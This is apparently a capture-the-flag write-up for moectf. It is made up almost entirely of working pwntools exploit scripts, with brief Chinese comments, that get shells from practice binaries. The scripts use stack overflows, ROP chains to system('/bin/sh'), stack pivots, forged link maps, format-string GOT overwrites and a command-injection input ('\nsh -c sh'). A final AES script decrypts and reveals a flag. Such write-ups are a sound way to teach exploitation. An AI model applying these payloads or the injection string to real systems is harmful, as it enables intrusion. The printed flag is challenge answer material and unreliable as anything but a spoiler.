payload = cyclic(0x40) + p64(0xdeadbeef) + p64(ret) + p64(pop_rdi) + p64(next(libc.search('/bin/sh\x00'))) + p64(libc.symbols['system'])
sh.sendafter('> ',payload)
sh.interactive()

boom#

#!/usr/bin/env python3
import contextvars

from pwn import *
from ctypes import CDLL
import time

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

back_door = 0x401276
ret = 0x40101a

def exploit():
    # 加载libc并设置随机种子
    libc = CDLL('libc.so.6')
    current_time = int(time.time())
    libc.srand(current_time)
    #gdb.attach(io,'b*0x401410\nc')

    canary = libc.rand() % 114514
    success(hex(canary))

    payload = p64(0xdeadbeef)
    payload += (p32(canary) * 36)
    payload += p64(ret) + p64(back_door)
    success(hex(len(payload)))

    io.recvuntil('(y/n)')
    io.sendline('y')
    io.recvuntil('Enter your message: ')

    io.sendline(payload)
    io.interactive()



#io = process('./pwn')
io = remote('127.0.0.1',64573)
exploit()

boom_revenge#

#!/usr/bin/env python3
import contextvars

from pwn import *
from ctypes import CDLL
import time

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

back_door = 0x401276
ret = 0x40101a

def exploit():
    # 加载libc并设置随机种子
    libc = CDLL('./libc-2.23.so')
    current_time = int(time.time())
    libc.srand(current_time)
    #gdb.attach(io,'b*0x401410\nc')

    canary = libc.rand() % 114514
    success(hex(canary))

    payload = p64(0xdeadbeef)
    payload += (p32(canary) * 36)
    payload += p64(ret) + p64(back_door)
    success(hex(len(payload)))

    io.recvuntil('(y/n)')
    io.sendline('y')
    io.recvuntil('Enter your message: ')

    io.sendline(payload)
    io.interactive()



#io = process('./pwn')
io = remote('127.0.0.1',64573)
exploit()

No way to leak!#

def forge_linkmap是个板子，本人比较护食，不放出来了

from pwn import *

context.arch = "amd64"
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

from pwn import flat

def forge_linkmap(linkmap_addr, known_libc_RVA, call_libc_RVA, known_elf_got_VA, bss_base, custom_data):
def main():
    #sh = process('./pwn')
    sh = remote('127.0.0.1',50993)
    elf = ELF('./pwn')
    #gdb.attach(sh,'b *0x401187\nc')
    libc = ELF("./libc-2.31.so")
    pop_rdi = 0x40115E
    pop_rsi = 0x401160
    pop_rbp = 0x401163
    leave_ret = 0x401188
    _dl_runtime_resolve_addr = 0x401026
    bss = elf.bss(0xA08)
    read_addr = elf.sym['read']
    ret_addr = 0x40101a
    payload = cyclic(0x70) + p64(0xdeadbeef) + p64(pop_rsi) + p64(bss) + p64(read_addr) + p64(pop_rsi) + p64(bss+0x100) + p64(read_addr) + p64(pop_rbp) + p64(bss - 8) + p64(leave_ret)
    sh.send(payload)

    fake_inkmap_addr = bss + 0x100
    fake_inkmap, custom_data_addr = forge_linkmap(
        linkmap_addr=fake_inkmap_addr,
        known_libc_RVA=libc.sym['read'],
        call_libc_RVA=libc.sym['system'],
        known_elf_got_VA=elf.got['read'],
        bss_base=bss,
        custom_data=b"/bin/sh\x00"
    )


    payload = p64(ret_addr) + p64(pop_rdi) + p64(custom_data_addr) + p64(_dl_runtime_resolve_addr) + p64(fake_inkmap_addr) + p64(0)
    success(hex(fake_inkmap_addr))
    success(hex(bss+0x100))
    sh.send(payload)
    sleep(8)
    sh.send(fake_inkmap)
    sh.interactive()


if __name__ == "__main__":
    main()

fmt#

注意leak1发送时得去掉末尾的\x00，要不然会拼接到leak2发送的低1byte

from pwn import *

#sh = process('./pwn')
sh = remote('127.0.0.1', 57232)
context.terminal = ["tmux", "splitw", "-h"]
payload = '%10$pAAAA%7$s'
sh.sendlineafter('Hey there, little one, what\'s your name?',payload)
sh.recvuntil('Nice to meet you,')
leak1 = int(sh.recv(12),16)
success(hex(leak1))
sh.recvuntil('AAAA')
leak2 = sh.recvline().rstrip(b'\n')
print(leak2)
hex_str = "0x" + leak2[::-1].hex()
print(hex_str)
leak2 = int(hex_str,16)
success(hex(leak2))
#gdb.attach(sh)
packed = p64(leak1)
payload = packed[:-1]
sh.sendafter('Can you find them?',payload)

sh.sendafter('Yeah,another one?',p64(leak2))
sh.interactive()

randomlock#

from pwn import *

sh = remote('127.0.0.1',58027)
#sh = process('./pwn')

def add(payload):
    sh.sendlineafter('>',str(payload))

add(9383)
add(886)
add(2777)
add(6915)
add(7793)
add(8335)
add(5386)
add(492)
add(6649)
add(1421)

sh.interactive()

str_check#

from pwn import *

#sh = process('./pwn')
sh = remote('127.0.0.1', 60457)

back_door = 0x401236
ret = 0x40101a
payload = b'meow'
payload = payload.ljust(0x28,b'\x00')
payload += p64(ret) + p64(back_door)

sh.sendlineafter('What can u say?',payload)
sh.sendlineafter('So,what size is it?',str(len(payload)))
sh.interactive()

syslock#

from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
#sh = process('./pwn')
sh = remote('127.0.0.1',54367)
#gdb.attach(sh,'b *0x40127F\nc')
elf = ELF('./pwn')
main = 0x4012BB
ret_addr = 0x40101a
syscall_addr = 0x401230
bins_sh = 0x404084
pop_rdi_rsi_rdx = 0x401240
pop_rax = 0x401244
sh.sendafter('choose mode\n',str(-32))
payload = p32(59) + b'/bin/sh'
sh.sendafter('Input your password\n',payload)

payload = cyclic(0x40) + p64(0xdeadbeef)  + p64(pop_rdi_rsi_rdx) + p64(bins_sh) + p64(0) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall_addr) + p64(main)
sh.sendafter('Developer Mode.\n',payload)
sh.interactive()

xdulaker#

from pwn import *

#sh = process('./pwn')
sh = remote('127.0.0.1',58792)

def cmd(x):
    sh.sendlineafter('>',str(x))

def pull():
    cmd(1)

def photo(data):
    cmd(2)
    sh.sendafter('Hey,what\'s your name?!',data)

def laker(data):
    cmd(3)
    sh.sendafter('welcome,xdulaker',data)

pull()
sh.recvuntil('give you a gift:')
leak = int(sh.recv(14),16)
success(hex(leak))

offset = leak - 0x4010
backdoor_addr = offset + 0x1249
ret_addr = offset + 0x101a

payload = cyclic(0x20) + b'xdulaker'
photo(payload)

payload = cyclic(0x30) + p64(0xdeadbeef) + p64(ret_addr) + p64(backdoor_addr)
laker(payload)

sh.interactive()

easylibc#

from pwn import *

sh = remote('127.0.0.1',57401)
#sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

sh.recvuntil('How can I use ')
leak = int(sh.recv(14),16)
success(hex(leak))
offset = leak - 0x1060
start_addr = offset + 0x10C0
payload = cyclic(0x20) + p64(0xdeadbeef) + p64(start_addr)
sh.send(payload)
sh.recvuntil('How can I use ')
leak2 = int(sh.recv(14),16)
success(hex(leak2))
libc.address = leak2 - libc.sym['read']
pop_rdi = libc.address + 0x2a3e5
ret = offset + 0x101a
payload = cyclic(0x20) + p64(0xdeadbeef) + p64(pop_rdi) + p64(next(libc.search('/bin/sh\x00'))) + p64(ret) + p64(libc.sym['system'])
sh.send(payload)
sh.interactive()

ezpivot#

这题由于system仅仅是引入了符号，并非初始化，所以在第一次初始化时会进行大量的抬栈操作，所以栈迁移时得往很高的地址去迁移

from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
#sh = process('./pwn')
sh = remote('127.0.0.1',53846)
elf = ELF('./pwn')

ret_addr = 0x40101a
pop_rdi = 0x401219
bss_addr = 0x404060+0x800
pivot_addr = bss_addr - 0x8
leave_ret = 0x40120f

sh.sendlineafter('the length of your introduction.',str(-1))
payload = cyclic(0x800) + p64(pop_rdi) + p64(bss_addr+0x100)  + p64(elf.symbols['system'])
payload = payload.ljust(0x900,b'\x00')
payload += b'/bin/sh\x00'
sh.send(payload)
payload = cyclic(0xc) + p64(pivot_addr) + p64(leave_ret)
sh.sendafter('Now, please tell us your phone number:',payload)

sh.interactive()

ezprotection#

cananry绕过第一次输入覆盖掉他的\x00，第二次put带出canry，pie由于分页机制，低12bit不变，爆破就完了，backdoor绕过，为什么我要填backdoor地址，我直接填最后一部分的open flag地址就行了

from pwn import *
context.terminal = ["tmux", "splitw", "-h"]

#sh = process('./pwn')
sh = remote('127.0.0.1',60990)
#gdb.attach(sh)
payload = cyclic(0x18) + b'\xff'
sh.sendafter(b'watching over you.', payload)


sh.recvuntil(b'\xff')
rest = sh.recvn(7)
canary = u64(b'\x00' + rest)
success(hex(canary))

payload = cyclic(0x18) + p64(canary) + p64(0xdeadbeef) + p16(0x627D)
sh.sendafter('you still won',payload)
sh.interactive()

hardpivot#

这题就是多次栈迁移，很典的一道

from pwn import *

context.terminal=['tmux','splitw','-h']
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#sh = process('./pwn')
sh = remote('127.0.0.1',59109)

ret = 0x40101a
bss = elf.bss() + 0x500
vuln_read = 0x401264
leave_ret = 0x40127b
pop_rdi = 0x40119e
pop_rbp = 0x40117d
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

payload1 = cyclic(0x40) + p64(bss + 0x40) + p64(vuln_read)
sh.sendafter('> ',payload1)

payload2 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)  # leak-libc
payload2 += p64(pop_rbp) + p64(bss + 0x200 + 0x40) + p64(vuln_read)
payload2 = payload2.ljust(0x40, b'\x00')
payload2 += p64(bss - 8) + p64(leave_ret)  #将rsp校准到bss上
sh.send(payload2)

leak = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
success(hex(leak))

payload3 = (p64(pop_rdi) + p64(next(libc.search('/bin/sh\x00'))) + p64(libc.sym['system'])).ljust(0x40, b'\x00')
payload3 += p64(bss + 0x200 - 0x8) + p64(leave_ret) #将rsp校准到bss+0x200上
sh.send(payload3)
sh.interactive()

Sandbox#

open被禁用可以用openant代替

from pwn import *
context(os='linux', arch='amd64',log_level='debug')
context.terminal=['tmux','splitw','-h']

elf = ELF('./pwn')
#sh = process('./pwn')
sh = remote('127.0.0.1',59692)
bss_addr = 0x4CEB60
pop_rdi = 0x401a40
pop_rsi = 0x401a42
pop_rdx = 0x401a44
pop_rax = 0x44bbbb
pop_rsp = 0x4121a8
syscall = 0x422e76

payload = p64(pop_rdi) + flat(-100) + p64(pop_rsi) + p64(bss_addr+0xE0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(257) + p64(syscall)
payload += p64(pop_rdi) + flat(3) + p64(pop_rsi) + p64(bss_addr+0x200) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall)
payload += p64(pop_rdi) + flat(1) + p64(pop_rsi) + p64(bss_addr+0x200) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
payload =payload.ljust(0xE0,b'\x00')
payload += b'/flag\x00'
sh.sendafter('You have a box, fill it.',payload)
payload = p32(0xdeadbeef) + p32(1)
payload += p64(pop_rsp) + p64(bss_addr) + p64(0xdeadbeef) * 6

sh.sendafter('Now, leave your name..',payload)

sh.interactive()

inject#

from pwn import *

#sh = process('./pwn')
sh = remote('127.0.0.1',57452)

sh.sendlineafter('Your choice: ',str(4))

payload = "\nsh -c sh"
sh.sendafter('Enter host to ping: ',payload)

sh.interactive()

call_it#

from pwn import *

elf = ELF('./pwn')
#sh = process('./pwn')
sh = remote('127.0.0.1', 56758)
context.terminal = ["tmux", "splitw", "-h"]
#gdb.attach(sh, 'b *0x401106\nc')
jop_addr = 0x401235
start = 0x401020
def cmd(x):
    sh.sendlineafter('Choose your gesture:',str(x))

for i in range(8):
    cmd(9)
payload = p64(jop_addr) + p32(0x4040F8)
payload = payload.ljust(15, b'\x00')
cmd(1)
sh.sendafter('What should I say after this gesture? ',payload)
cmd(2)
payload = p64(0x401228) + b'/bin/sh'
payload = payload.ljust(15, b'\x00')
sh.sendlineafter('What should I say after this gesture? ',payload)

for i in range(6):
    cmd(1)
    sh.sendlineafter('What should I say after this gesture? ', payload)

sh.interactive()

fmt_s#

from pwn import *
#io=process('./pwn')
io = remote('127.0.0.1', 60326)
libc=ELF('./libc.so.6')
#def bug():
#    gdb.attach(io,"b *0x401332\nc")
io.recvuntil(b"You start talking to him...\n")
io.send(b"%8$p")
stack=int(io.recv(14),16)-4+3
print(hex(stack))
io.sendafter(b"You enraged the monster-prepare for battle!\n",p64(0))
#-----------------------------------------------------------------------
io.recvuntil(b"You start talking to him...\n")
target=stack&0xffff
print(hex(target))
io.send(f"%{target}c%6$hn".encode())
io.sendafter(b"You enraged the monster-prepare for battle!\n",p64(0))
#-----------------------------------------------------------------------
io.recvuntil(b"You start talking to him...\n")
payload=f"%{0x90}c%47$hhn\x00".encode()
io.send(payload)
io.sendafter(b"You enraged the monster-prepare for battle!\n",p64(0))
#-----------------------------------------------------------------------
def s(payload):
    io.recvuntil(b"You start talking to him...\n")
    io.send(payload)
    io.sendafter(b"You enraged the monster-prepare for battle!\n",p64(0))
got=0x404028
stack=stack+1+0x70
target=stack&0xffff
payload=f"%{target}c%6$hn".encode()
s(payload)
payload=f"%47$lln%{got&0xff}c%47$hhn\x00".encode()
s(payload)
payload=f"%{target+1}c%6$hn\x00".encode()
s(payload)
payload=f"%{(got>>8)&0xff}c%47$hhn\x00".encode()
s(payload)
payload=f"%{target+2}c%6$hn\x00".encode()
s(payload)
payload=f"%{(got>>16)&0xff}c%47$hhn\x00".encode()
s(payload)
#-------------------------------------------------------------------------------------
got=0x404028+2
stack=stack+0x10
target=stack&0xffff
payload=f"%{target}c%6$hn".encode()
s(payload)
payload=f"%{got&0xff}c%47$hhn\x00".encode()
s(payload)
payload=f"%{target+1}c%6$hn\x00".encode()
s(payload)
payload=f"%{(got>>8)&0xff}c%47$hhn\x00".encode()
s(payload)
payload=f"%{target+2}c%6$hn\x00".encode()
s(payload)
payload=f"%{(got>>16)&0xff}c%47$hhn\x00".encode()
s(payload)
#======================
system=0x4010E0
payload=f"%26$lln%{0x40}c%28$hhn%{0x10e0-0x40}c%26$hn"
s(payload)#26,28
io.recvuntil(b"You start talking to him...\n")
io.send(b"aaa;sh;a")

io.interactive()

fmt_t#

from pwn import *
#io=process('./pwn')
io = remote('127.0.0.1', 62040)
libc=ELF('./libc.so.6')

got=0x404018
io.send(b"%3$p\x00")
base=int(io.recv(14),16)-0x1147e2
print(hex(base))
io.recvuntil(b"You've reached the level 5 of hell.")
io.send(b'sh;%')

io.recvuntil(b"You've reached the level 16 of hell.")
io.send(p64(got)+p64(got+2)[:-1])#18,19
io.recvuntil(b"You've reached the level 27 of hell.")
system=base+libc.sym.system
print(hex(system))
print(hex(system&0xffff))
print(hex((system>>16)&0xff))
payload=f"%{(system>>16)&0xff}c%25$hhn%{(system&0xffff)-((system>>16)&0xff)}c%24$hn".encode()
payload=payload.ljust(27,b'\x00')
io.send(payload)


io.interactive()

ezAES#

rc = [0x12, 0x23, 0x34, 0x45, 0x56, 0x67, 0x78, 0x89, 0x9a, 0xab, 0xbc, 0xcd, 0xde, 0xef,0xf1]

s_box = [
        [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76],
        [0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0],
        [0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15],
        [0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75],
        [0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84],
        [0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf],
        [0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8],
        [0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2],
        [0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73],
        [0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb],
        [0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79],
        [0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08],
        [0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a],
        [0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e],
        [0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf],
        [0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
]

s_box_inv = [
        [0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb],
        [0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb],
        [0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e],
        [0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25],
        [0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92],
        [0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84],
        [0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06],
        [0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b],
        [0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73],
        [0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e],
        [0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b],
        [0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4],
        [0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f],
        [0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef],
        [0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61],
        [0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]
]

def sub_bytes(grid):
    for i, v in enumerate(grid):
        grid[i] = s_box[v >> 4][v & 0xf]

def inv_sub_bytes(grid):
    for i, v in enumerate(grid):
        grid[i] = s_box_inv[v >> 4][v & 0xf]

def shift_rows(grid):
    for i in range(4):
        grid[i::4] = grid[i::4][i:] + grid[i::4][:i]
        grid = grid[0::4] + grid[1::4] + grid[2::4] + grid[3::4]

def inv_shift_rows(grid):
    for i in range(4):
        grid[i::4] = grid[i::4][-i:] + grid[i::4][:-i]
        grid = grid[0::4] + grid[1::4] + grid[2::4] + grid[3::4]

def mix_columns(grid):
    def mul_by_2(n):
        s = (n << 1) & 0xff
        if n & 128:
            s ^= 0x1b
        return s

    def mul_by_3(n):
        return n ^ mul_by_2(n)

    def mix_column(c):
        return [
            mul_by_2(c[0]) ^ mul_by_3(c[1]) ^ c[2] ^ c[3],  # [2 3 1 1]
            c[0] ^ mul_by_2(c[1]) ^ mul_by_3(c[2]) ^ c[3],  # [1 2 3 1]
            c[0] ^ c[1] ^ mul_by_2(c[2]) ^ mul_by_3(c[3]),  # [1 1 2 3]
            mul_by_3(c[0]) ^ c[1] ^ c[2] ^ mul_by_2(c[3]),  # [3 1 1 2]
        ]

    for i in range(0, 16, 4):
        grid[i:i + 4] = mix_column(grid[i:i + 4])

def inv_mix_columns(grid):
    def mul_by_9(n):
        # 9 = 0b1001, x*9 = x*8 xor x
        return mul_by_2(mul_by_2(mul_by_2(n))) ^ n

    def mul_by_b(n):
        # 11 = 0b1011, x*11 = x*8 xor x*2 xor x
        x8 = mul_by_2(mul_by_2(mul_by_2(n)))
        return x8 ^ mul_by_2(n) ^ n

    def mul_by_d(n):
        # 13 = 0b1101, x*13 = x*8 xor x*4 xor x
        x8 = mul_by_2(mul_by_2(mul_by_2(n)))
        x4 = mul_by_2(mul_by_2(n))
        return x8 ^ x4 ^ n

    def mul_by_e(n):
        # 14 = 0b1110, x*14 = x*8 xor x*4 xor x*2
        x8 = mul_by_2(mul_by_2(mul_by_2(n)))
        x4 = mul_by_2(mul_by_2(n))
        return x8 ^ x4 ^ mul_by_2(n)

    def mul_by_2(n):
        s = (n << 1) & 0xff
        if n & 128:
            s ^= 0x1b
        return s

    def inv_mix_column(c):
        return [
            mul_by_e(c[0]) ^ mul_by_b(c[1]) ^ mul_by_d(c[2]) ^ mul_by_9(c[3]),
            mul_by_9(c[0]) ^ mul_by_e(c[1]) ^ mul_by_b(c[2]) ^ mul_by_d(c[3]),
            mul_by_d(c[0]) ^ mul_by_9(c[1]) ^ mul_by_e(c[2]) ^ mul_by_b(c[3]),
            mul_by_b(c[0]) ^ mul_by_d(c[1]) ^ mul_by_9(c[2]) ^ mul_by_e(c[3]),
        ]

    for i in range(0, 16, 4):
        grid[i:i + 4] = inv_mix_column(grid[i:i + 4])

def key_expansion(grid):
    for i in range(10 * 4):
        r = grid[-4:]
        if i % 4 == 0:  # 对上一轮最后4字节自循环、S-box置换、轮常数异或，从而计算出当前新一轮最前4字节
            for j, v in enumerate(r[1:] + r[:1]):
                r[j] = s_box[v >> 4][v & 0xf] ^ (rc[i // 4] if j == 0 else 0)

        for j in range(4):
            grid.append(grid[-16] ^ r[j])

    return grid

def add_round_key(grid, round_key):
    for i in range(16):
        grid[i] ^= round_key[i]

def encrypt(b, expanded_key):
    # First round
    add_round_key(b, expanded_key)

    for i in range(1, 10):
        sub_bytes(b)
        shift_rows(b)
        mix_columns(b)
        add_round_key(b, expanded_key[i * 16:])

    # Final round
    sub_bytes(b)
    shift_rows(b)
    add_round_key(b, expanded_key[-16:])
    return b

def decrypt(b, expanded_key):
    # First round (last round of encryption)
    add_round_key(b, expanded_key[-16:])
    inv_shift_rows(b)
    inv_sub_bytes(b)

    for i in range(9, 0, -1):
        add_round_key(b, expanded_key[i * 16:])
        inv_mix_columns(b)
        inv_shift_rows(b)
        inv_sub_bytes(b)

    # Final round (first round of encryption)
    add_round_key(b, expanded_key)
    return b

def aes(key, msg):
    expanded = key_expansion(bytearray(key))

    # Pad the message to a multiple of 16 bytes
    b = bytearray(msg + b'\x00' * (16 - len(msg) % 16))
    # Encrypt the message
    for i in range(0, len(b), 16):
        b[i:i + 16] = encrypt(b[i:i + 16], expanded)
    return bytes(b)

def unaes(key, enc):
    expanded = key_expansion(bytearray(key))
    b = bytearray(enc)
    for i in range(0, len(b), 16):
        b[i:i + 16] = decrypt(b[i:i + 16], expanded)
    return bytes(b)

if __name__ == '__main__':
    key = b'Slightly different from the AES.'
    enc = b'%\x98\x10\x8b\x93O\xc7\xf02F\xae\xedA\x96\x1b\xf9\x9d\x96\xcb\x8bT\r\xd31P\xe6\x1a\xa1j\x0c\xe6\xc8'
    dec = unaes(key, enc)
    print('Decrypted:', dec)
    #moectf{Th1s_1s_4n_E4ZY_AE5_!@#}